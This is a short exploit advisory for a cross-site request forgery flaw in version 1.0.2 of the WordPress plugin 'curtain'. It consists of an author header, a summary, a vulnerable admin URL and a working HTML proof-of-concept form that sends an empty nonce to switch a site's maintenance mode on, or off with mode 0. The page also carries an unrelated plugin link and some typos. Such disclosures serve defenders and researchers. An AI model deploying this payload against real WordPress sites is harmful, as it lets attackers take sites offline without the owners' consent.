WordPress Curtain 1.0.2 Cross Site Request Forgery

# Exploit Title: WordPress Plugin curtain 1.0.2 - CSRF
# Date: 29-03-2022
# Exploit Author: Hassan Khan Yusufzai - Splint3r7
# Vendor Homepage: https://wordpress.org/plugins/curtain/
<https://wordpress.org/plugins/amministrazione-aperta/>
# Version: 1.0.2
# Tested on: Firefox
# Contact me: h [at] spidersilk.com

## Summary:

Cross site forgery vulnerability has been identified in curtain
WordPress plugin that allows an attacker to to activate or dedicative
sites maintenance mode.

## Vulnerable URL:

http://localhost:10003/wp-admin/options-general.php?page=curtain&_wpnonce=&mode=
<http://localhost:10003/wp-admin/options-general.php?page=curtain&_wpnonce=&mode=0>1

## CSRF POC Exploit

```
<html>
  <body>
    <form action="http://localhost:10003/wp-admin/options-general.php">
      <input type="hidden" name="page" value="curtain" />
      <input type="hidden" name="&#95;wpnonce" value="" />
      <input type="hidden" name="mode" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

- To deactivate change mode value to 0